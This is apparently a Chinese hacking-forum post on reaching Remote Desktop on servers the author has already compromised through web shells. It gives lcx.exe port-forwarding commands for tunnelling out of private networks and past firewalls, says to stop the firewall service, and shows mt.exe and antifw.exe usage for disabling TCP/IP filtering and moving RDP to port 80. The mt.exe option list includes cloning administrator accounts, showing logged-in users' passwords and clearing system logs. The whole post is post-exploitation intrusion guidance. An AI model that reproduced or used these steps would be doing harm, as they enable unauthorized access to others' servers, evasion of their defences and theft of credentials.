对于开了3389，连接不上，有几个方面的原因，我来总结下，哇咔咔，这几天提好几台服务器都TM这样，分析下，
原因1、远程桌面端口被更改。2、对方服务器处于内网。3、防火墙拦截。4、TCP/IP安全限制。
好了，知道原因了，我们来一个一个思考解决方法(部分引用)：
远程桌面端口被更改解决方法：
现在一般的asp大马都有探测服务器的功能，在权限还行的情况下都可以直接查看远程(TerminalService)端口，或者可以查看注册表也可以得到远程桌面端口，asp权限不行，在支持aspx的时候就换aspx查看注册表。
对方服务器处于内网解决方法：
这种情况我们可以使用lcx做端口转发，不知道的或者没有的就百度“lcx。exe下载”，我就不提供下载了。
使用方法：
1。上传lcx。exe到目标服务器可执行目录
2。本地主机启动lcx。exe监听，命令：
lcx。exe-listen19884567//监听1988端口并转发到4567端口
在目标主机运行：
格式为：
lcx。exe-slave你的IP你监听的端口肉机IP要转发的目标主机端口
例子：lcx。exe-slave192。168。86。11988192。168。86。33389
3。本地链接：127。0。0。1：1988
OK，有点小麻烦，不过还是很管用的，要是你也是内网，你就做下端口映射就好了，映射到转发回来的端口，哇咔咔。
4、防火墙拦截解决办法：
一般还是先试试端口转发，还是利用LCX，
使用方法：
lcx。exe-slave你的IP你监听的端口肉机要转发的目标主机端口
例子：lcx。exe-slave192。168。86。11988192。168。86。33389
然后本地连接：127。0。0。1：1988就搞定了。
如果还不行。。要是web是SYSTEM权限，直接停掉防火墙服务就没问题了。
5、TCP/IP安全策略限制。
这个解决方法就有点多了，可以使用MT。EXE来关闭策略，
使用方法：
1。上传mt。exe到目标服务器可执行目录
2。执行命令：mt。exe-filteroff
这样就关闭了TCP/IP限制了
选项：
-filter—更改TCP/IP过滤器的开头状态
-addport—添加端口到过滤器的允许列表
-setport—设置端口作为过滤器的允许列表
-nicinfo—列出TCP/IP界面信息
-pslist—列出活动进程
-pskill—杀毒指定进程
-dlllist—列出指定进程的DLL
-sysinfo—列出系统信息
-shutdown—关闭系统
-reboot—重启系统
-poweroff—关闭电源
-logoff—注销当前用户会话
-chkts—检查终端服务信息
-setupts—安装终端服务
-remts—卸载终端服务
-chgtsp—重置终端服务端口
-clog—清除系统日志
-enumsrv—列出所有服务
-querysrv—列出指定服务的详细信息
-instsrv—安装一个服务
-cfgsrv—更改服务配置
-remsrv—卸载指定服务
-startsrv—启动指定服务
-stopsrv—停止指定服务
-netget—从http/ftp下载
-redirect—端口重定向
-chkuser—列出所有账户、sid和anti克隆
-clone—克隆admin到目标
-never—设置账户看上去从未登录
-killuser—删除账户，甚至是“guest”也可删除
-su—以Local_System权限运行进程
-findpass—显示所有已登录用户的口令
-netstat—列出TCP连接
-killtcp—杀死TCP连接
-psport—映射端口到进程
-touch—设置文件日期和时间到指定值
-secdel—安全擦除文件或目录占用的空间
-regshell—进入一个控制台注册表编辑器
-chkdll—检测ginadll后门
上面只是一种方法，再说一种好用的方法吧，成功率灰常高，哇咔咔。
使用antifw。exe这个工具，
使用方法：
在cmd下输入
antifw-s运行程序停止iis将3389改为80
antifw-l关闭程序。恢复iis
连接的时候直接连接他的80端口就OK了，内网外网通杀!成功率比较高。但是这样他网站就访问不了。。。
没事，上去了我们赶紧分析原因，排除万难，把限制去掉，再给他还原80端口，哇咔咔。。。